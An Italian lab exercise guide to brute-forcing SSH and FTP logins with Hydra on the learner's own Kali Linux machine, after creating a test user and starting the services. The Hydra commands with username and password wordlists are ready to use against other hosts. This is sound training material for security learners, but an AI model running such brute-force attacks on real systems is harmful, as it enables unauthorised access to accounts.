

Fase 1: Configurazione e Cracking SSH su Kali Linux

1. Creazione di un nuovo utente su Kali Linux:

```
sudo adduser test_user
```

Verrà creato un utente chiamato `test_user`.

2. Attivazione del servizio SSH:

```
sql
sudo service ssh start
```

Assicurati che il servizio SSH sia attivo sulla tua macchina Kali.

3. Verifica dell'accesso SSH:

```
css
ssh test_user@ip_kali
```

Sostituisci `ip_kali` con l'indirizzo IP della tua macchina Kali. Inserisci la password quando richiesto per verificare che l'accesso funzioni correttamente.

4. Preparazione per l'attacco con Hydra: Assicurati di avere Hydra installato. Puoi installarlo con:

```
sudo apt install hydra
```

Prepara anche delle wordlist per gli attacchi, come quelle fornite da `seclists`.

5. Esecuzione di Hydra per il cracking SSH:

```
css
hydra -L username_list -P password_list ip_kali -t 4 ssh
```

- o `-L username_list`: Specifica il file contenente una lista di usernames da provare.
- o `-P password_list`: Specifica il file contenente una lista di password da provare.
- o `ip_kali`: L'indirizzo IP della tua macchina Kali.
- o `-t 4`: Specifica il numero di thread da utilizzare (può essere modificato in base alle tue esigenze).

Questo comando eseguirà un attacco di forza bruta con Hydra utilizzando le wordlist specificate contro il servizio SSH sulla macchina Kali.

Fase 2: Scegliere e Configurare un Altro Servizio di Rete

Nella seconda parte dell'esercizio, puoi scegliere un altro servizio di rete da configurare e testare con Hydra, ad esempio FTP utilizzando `vsftpd`.

1. Installazione e avvio di vsftpd:

```
sql
sudo apt install vsftpd
sudo service vsftpd start
```

Questi comandi installeranno il server FTP e lo avvieranno sulla tua macchina Kali.

2. Esecuzione di Hydra per il cracking FTP:

```
css
hydra -L username_list -P password_list ip_kali -t 4 ftp
```

Modifica il comando Hydra per attaccare il servizio FTP, utilizzando le stesse opzioni di wordlist e thread come prima.